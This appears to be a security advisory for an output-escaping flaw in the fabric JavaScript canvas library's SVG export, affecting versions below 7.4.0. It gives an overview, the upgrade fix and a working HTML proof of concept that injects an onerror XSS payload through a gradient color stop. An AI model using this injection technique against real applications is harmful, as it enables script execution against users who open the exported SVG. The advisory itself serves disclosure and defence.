Improper Encoding or Escaping of Output Affecting fabric package, versions <7.4.0
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-JS-FABRIC-17337033
- published14 Jun 2026
- disclosed12 Jun 2026
- creditUnknown
Introduced: 12 Jun 2026
NewCVE-2026-44311 (opens in a new tab)How to fix?
Upgrade fabric to version 7.4.0 or higher.
Overview
fabric is an Object model for HTML5 canvas, and SVG-to-canvas parser. Backed by jsdom and node-canvas.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the toSVG and getSvgStyles/getSvgSpanStyles paths in the gradient, object, and text SVG export components. An attacker can inject malicious CSS or XML payloads by supplying crafted gradient stop colors, fill/stroke/style properties, or text decoration values that are serialized into inline SVG attributes and style declarations. This lets the attacker produce SVG output containing executable script or event-handler markup, putting users who open or embed the exported SVG at risk of script execution and content injection.
PoC
<!DOCTYPE html>
<html>
<head>
<title>Fabric.js SVG Export XSS Bypass Test</title>
<script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script>
</head>
<body>
<h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
<canvas id="c" width="400" height="300"></canvas>
### SVG Output Rendering:
<div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>
<script>
setTimeout(() => {
const canvas = new fabric.Canvas('c');
// Construct a malicious gradient object
const maliciousGradient = new fabric.Gradient({
type: 'linear',
coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
colorStops: [
{
offset: 0,
// Inject XSS payload to prematurely close the attribute/tag
color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
},
{ offset: 1, color: 'blue' }
]
});
const rect = new fabric.Rect({
left: 50, top: 50, width: 300, height: 100,
fill: maliciousGradient
});
canvas.add(rect);
// Export to SVG string containing the malicious code
const svgOutput = canvas.toSVG();
// Render on the page to trigger the XSS
document.getElementById('svg-output').innerHTML = svgOutput;
}, 100);
</script>
</body>
</html>